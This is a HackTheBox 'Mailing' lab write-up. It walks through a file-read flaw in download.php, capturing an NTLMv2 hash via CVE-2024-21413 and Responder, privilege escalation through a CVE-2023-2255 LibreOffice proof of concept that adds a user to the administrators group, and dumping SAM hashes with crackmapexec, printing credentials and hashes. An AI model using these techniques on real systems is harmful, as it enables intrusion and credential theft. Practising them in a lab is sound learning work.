Mailing is an easy-difficulty machine from HackTheBox that has a file read that discloses hMailServer credentials. Later abusing CVE-2024-21413 to perform a phishing attack and obtain another user’s credentials. Finally exploiting LibreOffice’s CVE-2023-2255 to gain Administrator access. It was a fun box to tackle :D
┌──(kali㉿kali)-[~] └─$ nmap -A -Pn 10.129.134.70 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2024-09-06 11:09 EDT Nmap scan report for 10.129.134.70 Host is up (0.39s latency). Not shown: 990 filtered ports PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP, |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://mailing.htb 110/tcp open pop3 hMailServer pop3d |_pop3-capabilities: TOP USER UIDL 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 143/tcp open imap hMailServer imapd |_imap-capabilities: OK IMAP4 IDLE CAPABILITY RIGHTS=texkA0001 NAMESPACE ACL IMAP4rev1 QUOTA SORT completed CHILDREN 445/tcp open microsoft-ds? 465/tcp open ssl/smtp hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP, |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 |_Not valid after: 2029-10-06T18:24:10 |_ssl-date: TLS randomness does not represent time 587/tcp open smtp hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP, |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 |_Not valid after: 2029-10-06T18:24:10 |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap hMailServer imapd |_imap-capabilities: OK IMAP4 IDLE CAPABILITY RIGHTS=texkA0001 NAMESPACE ACL IMAP4rev1 QUOTA SORT completed CHILDREN | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 |_Not valid after: 2029-10-06T18:24:10 |_ssl-date: TLS randomness does not represent time Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 128.63 seconds
We can see that we have plenty of open ports (obviously since this is a windows box), one interesting port tho was 25, I’ll make sure to check it out later. Also port 80 show us that it’s redirecting towards mailing.htb so we go ahead and add that entry to our /etc/hosts.
We can see that we have a simple web application that’s telling us it’s using hMailServer (we already know this from our nmap scan) and that we can download some instructions.
There was one interesting thing, which is tha path on the Download Instructions button: http://mailing.htb/download.php?file=instructions.pdf, maybe we could leverage it to read other files on system and abuse a Local File Inclusion;
Unlike linux systems, the hosts file for windows is located under c:/windows/syste32/drivers/etc/hosts, let’s try and get it: Local File Inclusion
We can see that we can successfully download the hosts file. But what’s something critical that we can download? I checked the hMailServer docs to locate the config files for it, turns out to be c:\Program Files (x86)\hMailServer\Bin\hMailServer.ini And we can successfully download it: Local File Inclusion
ATTENTION! Pure (unoptimized) backend kernels selected. Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. If you want to switch to optimized backend kernels, append -O to your commandline. See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
Let’s try and connect to the hMailServer instance. We could also see on our nmap scan that there’s the POP3 being used. We can see from the docs that we can connect using telnet mailing.htb 110 (110 is the port utilizing POP3):
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~] └─$ telnet 10.129.134.70 110 Trying 10.129.134.70... Connected to 10.129.134.70. Escape character is '^]'. +OK POP3 USER [email protected] +OK Send your password PASS homenetworkingadministrator +OK Mailbox locked and ready stat +OK 0 0 list +OK 0 messages (0 octets)
We can see that there are no messages. Since hMailServer is a e-mail server for Microsoft Windows, I tried looking for some Microsoft Outlook CVEs and stumbled upon CVE-2024-21413 and found this poc online. (we can find the maya email on the instructions pdf)
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [OFF]
[+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF]
[+] Generic Options: Responder NIC [tun0] Responder IP [10.10.x.x] Responder IPv6 [dead:beef:4::1021] Challenge set [random] Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL'] [+] Current Session Variables: Responder Machine Name [WIN-TQ56G1P1WI8] Responder Domain Name [FNWB.LOCAL] Responder DCE-RPC Port [46022] [+] Listening for events... [!] Error starting SSL server on port 5986, check permissions or other servers running. [!] Error starting SSL server on port 443, check permissions or other servers running. [!] Error starting SSL server on port 636, check permissions or other servers running. [SMB] NTLMv2-SSP Client : 10.129.169.187 [SMB] NTLMv2-SSP Username : MAILING\maya [SMB] NTLMv2-SSP Hash : maya::MAILING:66b91e7843389fd5:162A1E0F0240E39E7229099EFC356A8D:0101000000000000007267A07100DB0150DB3FCED62A46F1000000000200080046004E005700420001001E00570049004E002D005400510035003600470031005000310057004900380004003400570049004E002D00540051003500360047003100500031005700490038002E0046004E00570042002E004C004F00430041004C000300140046004E00570042002E004C004F00430041004C000500140046004E00570042002E004C004F00430041004C0007000800007267A07100DB0106000400020000000800300030000000000000000000000000200000FF3B5AB2762C9414CC314D780DD2A102C128EF1942103204E01B99A7C712D3510A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00330035000000000000000000
ATTENTION! Pure (unoptimized) backend kernels selected. Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. If you want to switch to optimized backend kernels, append -O to your commandline. See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\maya\Documents> type ../desktop/user.txt 4c87690f004975****************** *Evil-WinRM* PS C:\Users\maya\Documents>
Privilege Escalation - CVE-2023-2255
Doing some research of the machine, I identify that LibreOffice is installed. Checking the version we find it vulnerable to CVE-2023-2255 and I used this public POC for it. I will be abusing the poc to add maya to the Administrators local group:
1 2 3
┌──(kali㉿kali)-[~/CVE-2023-2255] └─$ python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' File output.odt has been created !
We go ahead and create our output.odt file (it’s Administradores instead of Administrators because the machine is not in english haha)
1 2 3
┌──(kali㉿kali)-[~/CVE-2023-2255] └─$ python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' File output.odt has been created !
(not sure why the execution didn’t work on other folders)
*Evil-WinRM* PS C:\important documents> ./output.odt *Evil-WinRM* PS C:\important documents> net users maya User name maya Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 2024-04-12 4:16:20 AM Password expires Never Password changeable 2024-04-12 4:16:20 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 2024-09-06 9:53:32 PM Logon hours allowed All Local Group Memberships *Administradores *Remote Management Use *Usuarios *Usuarios de escritori Global Group memberships *Ninguno The command completed successfully. *Evil-WinRM* PS C:\important documents>
We can now use crackmapexec to dump the SAM database:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[~] └─$ crackmapexec smb 10.129.169.187 -u maya -p "m4y4ngs4ri" --sam /usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release "class": algorithms.Blowfish, SMB 10.129.169.187 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False) SMB 10.129.169.187 445 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!) SMB 10.129.169.187 445 MAILING [+] Dumping SAM hashes SMB 10.129.169.187 445 MAILING Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.129.169.187 445 MAILING Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.129.169.187 445 MAILING DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.129.169.187 445 MAILING WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e349e2966c623fcb0a254e866a9a7e4c::: SMB 10.129.169.187 445 MAILING localadmin:1001:aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae::: SMB 10.129.169.187 445 MAILING maya:1002:aad3b435b51404eeaad3b435b51404ee:af760798079bf7a3d80253126d3d28af::: SMB 10.129.169.187 445 MAILING [+] Added 6 SAM hashes to the database
And finally connect to Administrator and retrieve our root flag:
